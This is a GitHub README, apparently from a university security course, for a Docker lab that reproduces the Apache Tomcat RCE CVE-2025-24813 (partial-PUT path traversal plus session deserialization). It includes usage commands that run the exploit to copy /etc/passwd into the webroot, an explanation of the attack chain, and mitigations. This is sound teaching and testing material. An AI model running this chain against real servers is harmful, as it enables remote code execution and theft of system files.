Enzo-Tssn/PCS3844-CVE_2025_24813
GitHub: Enzo-Tssn/PCS3844-CVE_2025_24813
基于 Docker 搭建的 CVE-2025-24813 Apache Tomcat 远程代码执行漏洞教学实验环境,完整复现部分 PUT 路径穿越结合 session 反序列化的攻击链。
Stars: 0 | Forks: 0
# CVE-2025-24813 — Apache Tomcat RCE 实验环境
一个演示 CVE-2025-24813 漏洞利用的教育实验环境。CVE-2025-24813 是 Apache Tomcat 9.0.98 中一个严重级别(CVSS 9.8)的远程代码执行(RCE)漏洞,它将通过部分 PUT 实现的路径穿越与对持久化到磁盘的 session 的不安全反序列化结合在一起。本项目为 PCS3844 - 信息安全课程开发,由以下人员完成:
- Enzo Tassini das Neves - 13682552
- João Felipe Pereira Carvalho - 11808189
- Tássyla Lissa Lima - 13684471
## 前置条件
- Docker Desktop
- Python 3.10+
- Java JDK 11+(`javac` 在 PATH 中)
## 安装说明
```
pip install requests urllib3
```
## 使用说明
**1. 启动漏洞环境**
```
docker build -t tomcat-cve-2025-24813 .
docker run -d -p 8080:8080 --name tomcat-cve tomcat-cve-2025-24813
```
**2. 运行 exploit**
```
python CVE_2025_24813.py http://localhost:8080 --payload_type java --command "cp /etc/passwd /usr/local/tomcat/webapps/ROOT/pwned.txt"
```
**3. 确认 RCE**
```
curl http://localhost:8080/pwned.txt
```
**4. 查看 Tomcat 日志**
```
docker logs tomcat-cve
```
**5. 清理**
```
docker stop tomcat-cve && docker rm tomcat-cve && docker rmi tomcat-cve-2025-24813
```
## 脚本参数
| 参数 | 默认值 | 描述 |
|---|---|---|
| `target` | — | 目标 URL(例如:`http://localhost:8080`) |
| `--command` | `calc.exe` | 要在服务器上执行的命令 |
| `--payload_type` | `ysoserial` | `java` 或 `ysoserial` |
| `--ysoserial` | `ysoserial.jar` | ysoserial.jar 的路径 |
| `--gadget` | `CommonsCollections6` | 用于 ysoserial 的 Gadget chain |
## 工作原理
该攻击链结合了 Tomcat 的三个漏洞条件:
1. **可写的 DefaultServlet**(`readonly=false` + `allowPartialPut=true`)— 允许通过带有 `Content-Range` 的 PUT 请求写入文件
2. **FileStore 处于活动状态**(`PersistentManager` + `FileStore`)— session 被作为 `.session` 文件保存在磁盘上
3. **未经校验的反序列化** — Tomcat 在恢复 session 时会对任何 `.session` 文件进行反序列化
该 exploit 通过路径穿越(`/uploads/../sessions/`)将一个恶意的序列化 Java 对象写入 `sessions/absholi7ly.session`,然后通过发送包含 `JSESSIONID=absholi7ly` 的 cookie 强制 Tomcat 加载该文件。
## 缓解措施
将 Tomcat 升级至 **9.0.99+** 版本,或在 `web.xml` 中设置 `readonly=true` / `allowPartialPut=false`。
标签:Apache Tomcat, CISA项目, CommonsCollections, CVE-2025-24813, CVSS 9.8, Docker, Exploit, HTTP Partial PUT, Java反序列化, JS文件枚举, meg, PUT请求, Python, RCE, Web安全, XXE攻击, ysoserial, 不安全反序列化, 信息安全, 安全防御评估, 文件上传, 无后门, 漏洞复现, 编程工具, 网络安全, 蓝队分析, 请求拦截, 路径遍历, 远程代码执行, 逆向工具, 隐私保护, 靶场环境, 高危漏洞